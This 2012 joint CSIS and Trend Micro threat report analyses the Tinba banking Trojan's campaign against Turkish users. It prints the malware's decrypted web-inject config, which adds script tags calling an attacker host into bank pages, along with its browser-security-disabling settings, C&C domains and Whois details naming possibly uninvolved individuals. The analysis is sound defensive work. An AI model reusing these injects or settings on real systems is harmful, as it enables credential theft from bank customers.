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joint report
Threat Report:
W32.Tinba (Tinybanker)
The Turkish Incident
CSIS Security Group A/S:
Peter Kruse
Trend Micro Incorporated
Feike Hacquebord
Robert McArdle
PROPRIETARY INFORMATION
© Copyright 2012 - CSIS Security Group A/S and Trend Micro Incorporated. All rights reserved
CSIS Security Group A/S
Trend Micro Incorporated
NOT FOR OUT-OF-COMPANY ELEASE
Publish date: September 12,
2012
Contents
Abstract ................................................................................................. 3
Blackhole Exploit Kit ................................................................................ 4
Tinba Overview ....................................................................................... 5
Disables Warning Page in Firefox ............................................................... 7
Malware Communication .......................................................................... 8
Downloading Updates .............................................................................. 8
Content Modification – Web Injects ............................................................ 9
Tinba Targets ........................................................................................ 11
Most Visited Targets .............................................................................. 14
Criminal Gang Network Infrastructure ...................................................... 15
Relation to Suspicious Web Hosting and Pornography ................................ 18
Relation To Suspicious Network in Lithuania ............................................. 19
Use of Blackhole Exploit Kit .................................................................... 20
Conclusions .......................................................................................... 20
About CSIS Security Group ..................................................................... 21
About Trend Micro ................................................................................. 21
Appendix A ........................................................................................... 22
CSIS Disclaimer .................................................................................... 24
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CSIS Security Group A/S
Trend Micro Incorporated
Abstract
The following report contains a technical analysis of the Tinba Trojan-banker family.
The name “Tinba” was assigned by CSIS and represents the small size of this Trojanbanker (approximately 20 KB). The name is derived from the words “tiny” and
“bank.” The malware is also known as “Tinybanker” and “Zusy.”
This report focuses on several different variants of the Tinba Trojan and includes:
•
Name and family
•
MD5/SHA1
•
Malware analysis
Based on the intelligence gathered during a four-month period of close monitoring,
this specific group is focused on Turkey. The infection map below outlines the areas
of Turkish attacks (see Figure 1).
Figure 1. Overview of the Tinba Trojan-banker Turkish attacks.
Zooming in closer provides a better view of the concentration of this campaign (see
Figure 2).
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Figure 2. Tinba Trojan-banker Turkish attack concentration.
As one of several Tinba campaigns currently running, CSIS and Trend Micro have
identified more than 60,000 unique infections in Turkey. This is based on unique IPs,
and the numbers may vary.
These cyber criminals specifically target financial institutions inside Turkey with the
Tinba virus, which can account for potentially high losses due to unauthorized
banking transactions.
Blackhole Exploit Kit
In monitoring the Tinba gang for a long period of time, the number of infections is
increasing. More interesting is the fact that the actual infection with Tinba is
accomplished using the infamous Blackhole exploit kit. For example, see the
following infection chain:
hxxp://sondder.ws/data/ap2.php
--> hxxp://sondder.ws/main.php?page=1a38e197e2c1e8a2
-->hxxp://sondder.ws/w.php?f=182b5&e=1
(Tinba MD5: b6991e7497a31fada9877907c63a5888)
Besides the payload itself, Blackhole is also used, due to the fact that the victim first
receives the text “Please wait page is loading...,” while the host is being
compromised. Several gangs use the Blackhole Exploit kit to infect PCs and
automatically hook these into a Botnet.
(Note: Strings http://are intentionally changed to hxxp://).
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Tinba Overview
Tinba is a small data stealing Trojan-banker. It hooks into browsers and steals login
data, as well as sniffs network traffic. As with several other sophisticated bankerTrojans, it also uses Man in the Browser (MiTB) tricks and Web injects to change the
look and feel of certain Web pages. Its purpose is to circumvent Two Factor
Authentication (2FA) or to trick the infected user into providing additional sensitive
data such as credit card data.
Tinba is the smallest Trojan-banker CSIS has encountered to date, and it belongs to
a new family of malware. The code is approximately 20 KB in size (including
configuration and Web injects) and is simple without any packing or advanced
encryption. Analyzed samples show that the antivirus detection is low.
Upon execution, Tinba kicks off an injection routine, which is obfuscated to avoid
antivirus detection (see Figure 4). It allocates new memory space where this specific
injection function is stored and injects itself into the newly created process
“winver.exe” (Version Reporter Applet). The latter is a legitimate file in the windows
system folder. Tinba also injects itself into both "explorer.exe" and "svchost.exe"
processes.
Tinba primarily uses four different libraries during runtime: ntdll.dll, advapi32.dl,
ws2_32.dll, and user32.dll. The main components are copied into the
[%ALLUSERSPROFILE%]\Application Data\default directory. These consist of the
main malware executable (bin.exe), the encrypted configuration file (cfg.dat), and
the web inject file (web.dat). The bin.exe is added as a run key in the registry so
that the code is executed after system shutdown/reboot.
The malware injects itself into the newly created
process winver.exe (Version Reporter Applet).
This file is located in the system32 directory of
%windir%. The malware primarily injects itself
into the already running explorer.exe or it starts
a new copy of svchost.exe (see Figure 5). Using
a different process than these can make the
malware less suspicious to the user.
The malware retrieves remote process context
and then overwrites the original entry point with
a short detour to the injected memory. The rest
Figure 3. Dialog box defined in
the file’s resources.
of the file image remains unmodified.
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Figure 4. The Trojan uses simple obfuscation of
the injected code. This example shows the two
same routines with different XOR values.
Figure 5. The malware suspends winver.exe and
injects itself into allocated memory. After a
writing detour to the injected code, the malware
resumes the main thread.
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The malware is primarily using four system libraries during runtime – ntdll.dll,
advapi32.dll, ws2_32.dll, and user32.dll. It adds the following registry key in order to
survive reboot:
HKCU\ Software\Microsoft\Windows\CurrentVersion\Run with the name
“default.”
The executable file (bin.exe) and related configuration files (cfg.dat, web.dat) are
stored in %ALLUSERSPROFILE%\Application Data\default. The malware checks the
current path of the executed file. If it is different from
%ALLUSERSPROFILE%\Application Data\default\bin.exe, it assumes that it is
running for the first time and copies itself to this directory before creating the
registry key (see Figure 6).
Figure 6. W32.Tinba installation path and registry key.
Disables Warning Page in Firefox
Tinba also disables the Firefox browser warning page (http://www.mozilla.org/enUS/firefox/phishing-protection/) when visiting potential harmful Web pages. Mozilla
describes this page as follows: “Firefox 3 or later contains built-in phishing and
malware protection to help keep you safe online. These features will warn you when
a page you visit has been reported as a Web forgery of a legitimate site (sometimes
called “phishing” pages) or as an attack site designed to harm your computer
(otherwise known as malware).” Because the malware turns off this warning, the
user may continue to the malicious site uninterrupted.
It does so by searching for the Firefox Install folder, e.g.,
%SystemDrive%\Documents and Settings\All Users\Application
Data\Mozilla\Firefox\Profiles\[USER PROFILE NAME]\user.js, which is then modified
with the following content:
“user_pref("security.warn_submit_insecure",false);user_pref("security.warn_viewing
_mixed",false).”
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CSIS Security Group A/S
Trend Micro Incorporated
Malware Communication
The Tinba virus utilizes a RC4 encryption algorithm to protect its own communication
with the control server. To date, CSIS and Trend Micro
have identified samples with more than five different
passwords, such as default_password and
wer8c7ygbw485ghw.
The malware has four hardcoded domains. When the
malware cannot receive a proper reply from the first
one, it moves on to the next on the list.
Taking four of the observed samples as an example,
there are 12 domains in three different sets (highlighted
Domain
dakotapowervears.com
2dakotapowervears2.com
da3kotapowerve3ars.com
d4a3kotapowerve3a4rs.com
monolitabuse.com
mon1olitabuse1.com
mon2olit2abuse.com
mo3nolitabus33e.com
monoliowners.com
m1onoliowners1.com
m2onoliowners22.com
mo3nolio3wne3rs.com
with different colors). A more complete set of Tinba
domains is included in Appendix A of this report.
Only one IP address, 77.79.11.71, has been associated with the given domains.
This net block has many suspicious and malicious domains, spanning money mule
websites, fake antivirus, counterfeit handbags and clothes, drive-by and C&C
servers. Although the domains are currently suspended or sinkholed, CSIS and Trend
Micro are also monitoring several other active campaigns.
Downloading Updates
Here’s how the malware works (see Figure 7): The malware sends an encrypted
string EHLO to the remote control server. The received data is encrypted with the
same key as the EHLO message. Before saving the data to a local file, the malware
searches in the remote reply for CR,LF,CR,LF (0D0A0D0Ah) and then proceeds with a
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Trend Micro Incorporated
data type check, which is defined as the first byte. If the type is equal to 1, then
content is saved as bin.exe. If the type is equal to 2, then the file cfg.bin is created.
If the type is 3, then data is stored in the file named web.dat. All these files are
created in the directory %ALLUSERSPROFILE%\Application Data\default.
Figure 7. The communication scheme of W32.Tinba – Different
values of the data type are indicating the file type.
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Content Modification – Web Injects
The Tinba virus enables a Man-In-The-Browser attack. To do so, it injects itself into
processes named iexplore.exe and firefox.exe. After successful injection, the
malware reads settings from the configuration files (cfg.dat and web.dat) and
intercepts major functions of the libraries used by the Web browser.
The malware uses a well-known scheme for the webinjects configuration file. Targets
are defined in the lines with set_url and the Website’s content manipulation is
completed by sets of “data_before”, “data_inject,” and “data_after” (see Figure 8).
Intercepted API of Mozilla Firefox
PR_Close
PR_Read
PR_Write
Intercepted API of Internet Explorer
HttpQueryInfoA
HttpSendRequestA
HttpSendRequestW
InternetCloseHandle
InternetQueryDataAvailable
InternetReadFile
Figure 8. The decrypted config of recent Tinba malware.
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The malware uses special values in the Web inject (e.g., %BOTUID% equals to
volume serial number). Additionally, it modifies headers X-Frame-Options to Mygame-Options and X-Content-Security-Policy to Illintent-Security-Policy. 1 After
modification, the headers become invalid and allow injecting insecure HTML elements
from other sites (see Figure 9).
The malware also accesses the following registry key and sets the value of “1609” to
0:
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3
This modification activates the Internet Explorer setting “Miscellaneous: Display
mixed content” and allows display of HTTP content on HTTPS websites without
prompting. The attacker can now insert external non-secured contents.
Figure 9. The headers are modified by malware to
support web injects.
Tinba Targets
Tinba has a default configuration embedded (decrypted):
[urlfilter]
https://* P
!*microsoft.* GP
1
The X-Frame-Options and X-Content-Security-Policy HTTP response headers are used to ensure that
displayed content of the website is not modified by other sites/does not contain non-SSL elements.
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Trend Micro Incorporated
!*google.* GP
*accounts.google.*/ServiceLoginAuth* P
!*facebook.* GP
*facebook.*/login.php* P
!*onlinechat.gmx.* GP
*service.gmx.*/cgi/login* P
[end]
This default configuration instructs the malware to steal logins for Google, Facebook,
Microsoft, and GMX online services (including Webmail). It also logs all HTTPS
connections. In addition to these defaults, additional domains are defined in the
complete config:
set_url https://kunde.comdirect.de* GP
data_before
<body
data_end
data_inject
style="visibility:hidden"
data_end
data_after
data_end
data_before
data_end
data_inject
https://lorenzoonavio.com/trade/comcort
data_end
data_after
/ccf/modules/js/cp_core.module.js
data_end
data_before
</body>
data_end
data_inject
<script type="text/javascript"
src="https://lorenzoonavio.com/trade/comcort/script.js"></script>
data_end
data_after
</html>
data_end
set_url https://banking.dkb.de/dkb/* PG
data_before
</body>
data_end
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data_inject
<script src="https://lorenzoonavio.com/trade/dakort/script.js"> </script>
data_end
data_after
</html>
data_end
data_before
<body
data_end
data_inject
style="visibility:hidden"
data_end
data_after
data_end
data_before
<script type="text/javascript">Form_hookup('login');</script>
data_end
data_inject
</form>
<script type="text/javascript">
data_end
data_after
function refreshAnimation()
data_end
data_before
} );
data_end
data_inject
data_end
data_after
</script>
data_end
The GP references are instructions to log “GET” and “POST” requests. Tinba may
work with several different “config files” depending on the campaign.
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Trend Micro Incorporated
Most Visited Targets
Despite the defined list of above targets, the following domains are the top 25 most
visited, by infected hosts:
63146 https://medeczane.sgk.gov.tr
26954 https://www.facebook.com
21708 https://fb-client.family.zynga.com
18754 https://fv-zprod.farmville.com
13641 https://isube.garanti.com.tr
10431 https://login.live.com
7486 https://oss-content.securestudies.com
6741 https://www.castrolfilozof.com
6326 https://www.e-icisleri.gov.tr
6322 https://www.isbank.com.tr
6270 https://www-bpt2.wiiings.com
6175 https://etopup.vodafone.com.tr
5147 https://cafeland.gamegos.net
4432 https://acikdeniz.denizbank.com
4057 https://medeczane2.sgk.gov.tr
3598 https://bar-navig.yandex.ru
3506 https://maps.googleapis.com
3244 https://pharmcash.com
3235 https://internetsube.turkiyefinans.com.tr
3093 https://baymsg1010727.gateway.messenger.live.com
2943 https://twitter.com
2800 https://esube1.ziraatbank.com.tr
2798 https://fb.bubble.zynga.com
2588 https://acente.flypgs.com
2494 https://mebbis.meb.gov.tr
The top scorer is the primary login in Turkey when communicating with public
services. However, visiting this website from outside of Turkey is not currently
allowed:
Translated via Google, it says:
“Turkey does not accept connections from outside.”
Not surprisingly, Facebook and Live.com are included in the list of most visited Web
sites. Every time an infected host is connecting to any of these sites, their login data
and credentials are sent to the Tinba malware.
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Trend Micro Incorporated
Several banks are also on the top-scorer list, and as Tinba is a Trojan-banker these
would likely be their primary target.
Criminal Gang Network Infrastructure
Based on analysis of this criminal gang’s infrastructure, CSIS and Trend Micro have
been able to link them to a variety of activities, including other malware (Spyeye,
ZeuS, and Torpig); suspicious Web hosting; pornography; a possible money mule
network; and a potential mail.ru profile.
CSIS and Trend Micro began by examining the C&C domains that were contacted by
the Tinba samples tested (e.g., the domain monolitabuse.com). According to the
Whois records for this domain, the following details show up as the main contact:
Registrant Contact:
Irina Uchaykina [email protected]
+74959284906 fax: +74959284906
Ul. Ryazanskiy Prospekt, dom 27, kv. 89
Moscow Moscovskaya oblast 103928
ru
A historical Whois database search on the name Irina Uchaykina reveals that this
individual has been responsible for registering at least 34 domains (and each of
these have a registrant email address in the format [email protected]).
areuirbgeuihrweiufhey.com
bertoilsdf243.com
coolmoroco.com
dakotawersvoipas.com
dshfauhi8izykdnkzx.com
fertipeoteovereoner.com
hosto-master.com
ilbrnd.com
ioewjhfdhduiusfh.com
kipolkas3253.net
memory3.org
mitworkidekwimm.net
monolitabuse.com
networkingoutmix.net
newdomaino.com
nologo0094.net
nologo1093.com
reezz.com
sabmadelon.com
saintrobots.com
serf654.com
sevenltddrivers.net
sitelogodesign.com
statisticlub.net
teerg.com
tegusigalpanebil.com
tyui89.com
unendingnight.com
univerce-hosting.com
ureuirbgeuihrweiufhey.com
vfr4455.com
wwreuirbgeuihrweiufhey.com
xartcollect.com
zvnurhidkfijfkdfkddfdsdsgyh.com
unendingnight.com
univerce-hosting.com
An examination of the malicious history of these domains shows several that are
related to banking Trojans. The next step was to review interest emails that may
show up in the rname field of the DNS SOA record for these associated domains.
domain
networkingoutmix.net
sevenltddrivers.net
mitworkidekwimm.net
Rname
[email protected]
[email protected]
[email protected]
The authoritative name servers of these domain names are ns[1-4].freedns.ws, a
free DNS provider. It is likely that the rname fields refer to real e-mail addresses of
customers of freedns.ws. However, these e-mail addresses may belong to an
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innocent third party that was compromised by the malicious actor. Often a criminal
actor will put a fake or compromised email address in the Whois details for a site,
but forget that their DNS provider may use their real email address in the SOA
records.
Both of these email addresses belong to mail.ru, the large free e-mail service in
Russia. Both of these mail.ru accounts also have profile pages associated with them.
While the account page for [email protected] shows no profile details, the page for
[email protected] is associated with an individual known as Максим Ефимов
(Maxim Efimov) and contains pictures and other details.
However, CSIS and Trend Micro have been able to link the Tinba malware to
attempts to steal credentials of Russian users (among others) of Gmail and other
social networking sites, so the gang may have compromised the
[email protected] site.
The email address [email protected] has registered at least 83 domain names
between April 15 2012 and June 6 2012, all of which are currently parked. One
example domain, tollparty.com, has been seen hosting Blackhole exploit kits and was
also linked to the Tinba malware by malware tracking site, malwaredomainlist.com.
The Whois details for that domain have since been changed, but an examination of
the historical Whois database reveals:
Registrant Contact:
Albert Moris
Doktor Glatz Strasse 20
Krems, 653048
AT
Phone: +1.068848359748
Email: [email protected]
The name Albert Moris is interesting. Another Blackhole exploit domain,
dorentin.com, which is registered with the same name, was registered with the
[email protected] email account – further linking these two (see Figure 10).
Administrative Contact:
Moris, Albert [email protected]
Doktor Glatz Strasse 20
Krems, Krems 653048
Austria
+43.6884835974
[email protected] has also registered several other domains (see the following list):
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CSIS Security Group A/S
betemergencyroomty.com
betemergencyty.com
beterty.com
bowlemergencyty.com
bowlerty.com
dorentin.biz
Trend Micro Incorporated
dorentin.com
dorentin.info
dorentin.org
jackpoterty.com
marijuanaemergencyty.com
marijuanaerty.com
mypoterty.com
potemergencyroomty.com
potemergencyty.com
poterty.biz
pot-er-ty.com
poterty.com
poterty.info
potertyonline.com
poterty.org
potertys.com
potertysite.com
thepoterty.com
Figure 10. CSIS and Trend Micro Examined Various Domains in its
Investigation of Tinba.
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Relation to Suspicious Web Hosting and
Pornography
Two other domains that share very similar Whois details to the Tinba C&C,
monolitabuse.com, are univerce-hosting.com and reezz.com (see Figure 11).
Figure 11. CSIS and Trend Micro Examined Additional Domains that Share
Similar Whois details to the Tinba C&C.
Domain univerce-hosting.com seems to be related to a “Web hosting company”
controlling CIDR 194.60.242.0/24, AS57470. This CIDR is known for hosting mainly
nefarious code, like C&C servers of banking Trojans and exploit kits. Because CSIS
and Trend Micro could not locate a corporate Web site, CSIS and Trend Micro do not
believe that univerce-hosting.com is a legitimate Web hosting company.
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Among others, this company was hosting reezz.com on IP address 194.60.242.41.
This domain seems to be related to malware targeting mainly Russian Internet users.
There are several postings with complaints related to this domain on the Internet.
The domain xartcollect.com can also be linked to this Tinba C&C due to similar Whois
details. This is a porn URL collection site. To request traffic from this site, the
following ICQ numbers are advertised: 753786 (CJ Supp), 448786 (Shorty), and
[email protected]
Relation To Suspicious Network in Lithuania
All of the original Tinba C&C domains were hosted on the same IP address,
77.79.11.71. CSIS and Trend Micro investigations indicate that this IP can be directly
related to several other IP addresses, which are all contained in the same series of
netblocks, such as:
inetnum:
netname:
organisation:
org-name:
address:
address:
address:
77.79.10.0 - 77.79.11.255
LT-ALEJA
ORG-UIA2-RIPE
UAB Duomenu Centras
Tilzes 74
LT-78140 Siauliai
Lithuania
person:
address:
address:
address:
phone:
Martynas Simkevicius
Tilzes 74-320
LT-76247 Siauliai
Lithuania
+37041503503
person:
address:
address:
address:
phone:
Remigijus Laurutis
Tilzes 74-320
LT-76247 Siauliai
Lithuania
+37041503500
This netblock has a history of malicious activity, including exploit kits, ZeuS C&C
servers, fake AV, spyeye C&C, fraud pages, and a variety of other malicious
domains. While this infrastructure does not likely belong entirely to the gang followed
in this report, it does have strong indications of providing infrastructure for other
gangs as well – either willingly or completely unaware.
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Use of Blackhole Exploit Kit
There are many links between the criminal gang outlined here and the use of the
Blackhole exploit kit. However, one in particular is of interest. As detailed earlier in
this report, the domain sondder.ws is hosting a Blackhole exploit kit, which was seen
to be one of the initial infection vectors for Tinba. In early June of 2012, this site was
hosted on the IP address 95.21.33.54. During the investigation, CSIS and Trend
Micro also discovered several other domains names (show below) all hosted on that
same IP address, and once more linked to [email protected] in the Whois details. This
provides a clear link between the registrants behind Tinba C&C servers and the use
of Blackhole exploit kits.
kopote.biz
kopote.com
kopote.info
kopote.net
kopote.org
portytoll.biz
portytoll.com
portytoll.info
portytoll.net
portytoll.org
sondder.biz
sondder.com
sondder.info
sondder.net
sondder.org
tollporty.biz
tollporty.com
tollporty.info
tollporty.org
The IP was also home to a range of other domains that were registered using privacy
protected Whois details.
Conclusions
It appears that the Tinba malware can be related to possibly stolen mail.ru contacts,
a mule operation, a shady Web hosting provider, porn sites, and numerous other
domains related to banker Trojans. CSIS and Trend Micro believe that the Tinba
sample is part of a larger cyber crime gang. This is not likely to be the work of one or
two people, but part of a bigger scheme. It is remarkable that this gang does not
hesitate to attack Russian-speaking Internet users as well, which significantly
increases the risk of apprehension (when the suspects are in Russia). As well as
being traced to Russia, significant parts of the gangs’ infrastructure have also been
based in Lithuania.
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About CSIS Security Group
CSIS Security Group is a privately held Danish IT security company originally
founded in 1999. CSIS Security Group operates with a set of values describing our
way to act internally, towards our customers, as well as generally in the market.
These values describe our culture and are the very framework for our decisions and
strategies and thereby support us in all we do.
Our set of values makes us capable of attracting and retaining some of the leading
competencies within IT security. Our devoted staff and the company value set is the
main reason why we keep strengthening our reputation as a trusted, loyal, and
competent IT security advisor.
CSIS Security Group Product Strategy
•
CSIS Security group offers the most extensive and cost effective IT security
solutions in the Nordics to reveal, document, and prevent security breaches
for our customers. We are focused on supporting the IT security by gathering
and analysis of information to prevent IT-related crimes and harmful user
behavior.
•
CSIS Security Group IT security solutions ensure that management, as well as
the technical staff has access to an updated overview of the current status.
We document governance and control of security exposures 24x7.
•
CSIS Security Group’s target is to be among the top-three suppliers within
standardized, stabile, and modular IT security products, while providing
economies of scale through a centralized solution with the possibility for
strategic outsourcing
About Trend Micro
As a global leader in cloud security, Trend Micro develops Internet content security
and threat management solutions that make the world safe for businesses and
consumers to exchange digital information. With more than 20 years of experience,
we’re recognized as the market leader in server security for delivering top-ranked
client, server, and cloud-based security solutions that stop threats faster and protect
data in physical, virtualized, and cloud environments.
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Appendix A
Known Tinba domains
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
dakotapowervears.com
2dakotapowervears2.com
da3kotapowerve3ars.com
d4a3kotapowerve3a4rs.com
dakotavolandos.com
dak1otavola1ndos.com
dako22tavol2andos.com
d3akotav33olandos.com
d4ak4otavolandos.com
monsboys.biz
uwyhbgwiechgi.com
ieubietubviurb.com
basdinopowadoar.com
azonpowzanadinoar.com
sbasdinopowadoar.com
monolitabuse.com
mon1olitabuse1.com
mon2olit2abuse.com
mo3nolitabus33e.com
monoliowners.com
m1onoliowners1.com
m2onoliowners22.com
mo3nolio3wne3rs.com
Samples
Trend Micro detects these as TSPY_TINBA.
SHA-256:
078a122a9401dd47a61369ac769d9e707d9e86bdf7ad91708510b9a4584e8d49
MD5: c141be7ef8a49c2e8bda5e4a856386ac
Size: 19968
SHA-256:
ce9483f6284903d8d76d60f1a96b3ade33c77ded0cac1d1c2dc8979879d6f91e.dak1ota
vola1ndos.com
MD5: 6244604b4fe75b652c05a217ac90eeac
Size: 19968
SHA-256:
8cc5050f513ed22780d4e85857a77a1fb2a3083d792cd550089b64e1d2ef58e9
MD5: 08ab7f68c6b3a4a2a745cc244d41d213
Size: 19968
SHA-256: 94e3fbcfb8d6f3fae34b1bc196c78082d35dc5a0084510c2c0b3ef38bc7b9cc2
MD5: debfdbd33d6e4695877d0a789212c013
Size: 19,968 bytes
Page 22 of 24
CSIS Security Group A/S
Trend Micro Incorporated
SHA-256:
0505f7e556f5fa5624e763fb72a769eb73c497ef8f855d706a0203848fd41c24
MD5: 8e8cd6dc7759f4b74ec0bfa84db5b1a5
Size: 20,480 bytes
SHA-256: 4144bc0bf25e55fbc65c1c03831ab1a82bc9cb267f8dd6264f5d0c55585ffd55
MD5: d1c13acddb7c13d0cf5a5c49e53a2906
Size: 19,968 bytes
SHA-256: 09478bf4833505d3d7b66d4f30ccce6b9fde3ea51b9ccf6fdeadc008efba43d8
MD5: b6991e7497a31fada9877907c63a5888
Size: 18,432 bytes
SHA-256:
d2162ff6228e58859aaa55045d5551e3fb39ac0d2e5e5282bc026ce7577bc0a3
MD5: 2e821db15ebaf7b4d0af87660371c267
Size: 19,456 bytes
SHA-256:
f00ec7d2dd0be76384da4c6b59d605debf28ebd62f2db952afe2c858ee43849c
MD5: ef570aaee5e594413e87385e6d9f7c4e
Size: 18,432 bytes
SHA-256:
e7db4b0d0ef2804d9161670908697a93032a4c1809066d54ec6f9bcc8befa341
MD5: 0e252ec52d7f4604d6b8894e479de233
Size: 20,480 bytes
SHA-256:
c33b7e2da7e7746950615f04bca55603f6c9082dd2352efe12173f408494c660
MD5: b062be1e561c20b6fb829ad9a3303431
Size: 19,456 bytes
SHA-256:
ed09eee5ff1de74f7af7d9666a321726e745ef12c5766753b75c20c00ed6dd9b
MD5: b4b9486d3eea4dc3b643b6bd89a4a67d
Size: 19,456 bytes
SHA256:
472c9e47d3414c52d45523c4f88bbff5cc261e7e198ae857dde15e13091aacdf
MD5: 44f9f0157c9f85768cc87e579ebacbb7
Size: 19,456 bytes
Page 23 of 24
CSIS Security Group A/S
Trend Micro Incorporated
CSIS Disclaimer
The information within this document may change without notice. Use of this
information constitutes acceptance for use in an "as is" condition.
There are no warranties with regard to this information; CSIS Security Group has
verified the data as thoroughly as possible.
In no event shall CSIS Security Group be liable for any consequences or damages,
including direct, indirect, incidental, consequential, loss of business profits or special
damages, arising out of or in connection with the use or spread of this information.
Any use of this information lies within the user's responsibility. All registered and
unregistered trademarks represented in this document are the sole property of their
respective owners.
The document may not be distributed or shared without prior written permission
from CSIS Security Group A/S.
©2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend
Micro t-ball logo are trademarks or registered trademarks of Trend Micro,
Incorporated. All other product or company names may be trademarks or registered
trademarks of their owners.
Page 24 of 24
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